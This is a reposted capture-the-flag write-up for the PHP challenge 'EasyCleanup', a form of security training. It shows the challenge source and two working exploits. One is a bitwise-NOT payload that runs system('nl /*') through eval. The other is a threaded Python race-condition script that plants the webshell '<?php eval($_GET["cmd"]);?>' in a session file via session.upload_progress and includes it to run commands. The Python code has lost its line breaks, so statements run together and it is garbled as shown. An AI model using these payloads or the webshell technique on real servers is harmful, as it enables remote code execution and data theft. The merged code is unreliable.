当前位置: 首页 > news >正文

[第五空间 2021]EasyCleanup

题目源代码:

 <?php 
if(!isset($_GET['mode'])){ highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); 
} if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; 
} function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; 
} function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; 
} 
?> 

解题方法一:

image.png

exp:

<?php
$s='nl /*';
echo '~'.urlencode(~$s);

http://node4.anna.nssctf.cn:28488/?mode=eval&shell=system(~%91%93%DF%D0%D5);

解题方法二:

【文件包含&条件竞争】利用session.upload_progress文件包含进行RCE

使用条件

  • 目标环境开启了session.upload_progress.enable选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
  • 请求的Cookie中包含Session ID

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
image.png

import io
import threadingimport requestsurl = "http://node4.anna.nssctf.cn:28873/"
sess_id = "1"
file_name = '1.txt'
file_data = io.BytesIO(b'a' * 1024 * 50)def write(session):while True:session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},cookies={'PHPSESSID': sess_id}, files={'file': (file_name, file_data)})def read(session):while True:res = session.post(f"{url}?mode=foo&file=/tmp/sess_{sess_id}&cmd=system('nl /*');")if file_name in res.text:print(res.text)breakelse:print("Retry")if __name__ == "__main__":evnet = threading.Event()with requests.session() as session:for i in range(5):threading.Thread(target=write, args=(session,)).start()for i in range(5):threading.Thread(target=read, args=(session,)).start()evnet.set()

http://www.mrgr.cn/news/4514.html

相关文章:

  • Mysql高级 [Linux版] 性能优化 数据库系统配置优化 和 MySQL的执行顺序 以及 Mysql执行引擎介绍
  • datawind可视化查询-类型转换函数
  • MySQL 安装与配置指南
  • python爬虫入门
  • 面试题 08.06. 汉诺塔问题(整活版)(不讲武德)
  • p8 Run的流程和Docker原理
  • DOM型XSS
  • oracel数据库的增删改查示例
  • 勇闯计算机视觉(第一关--环境激活)
  • 端点安全新纪元:EDR与XDR技术的融合应用
  • c++ opencv开发环境搭建
  • 性能优化理论篇 | swap area是个什么东西
  • C#学习之路day2
  • mysql查询慢
  • 新手友好:易于上手的10款项目管理工具推荐
  • 浅析JavaScript 堆内存及其通过 Chrome DevTools 捕获堆快照的方法
  • CSS(源码+lw+部署文档+讲解等)
  • HCIA云计算实验-2-网络基础实验
  • 你对压测以及后端服务架构的理解是什么?线上的部署方式是什么?
  • 独家|国产糖尿病肾病特医食品新进展,两款特医配方有望打破本土市场空白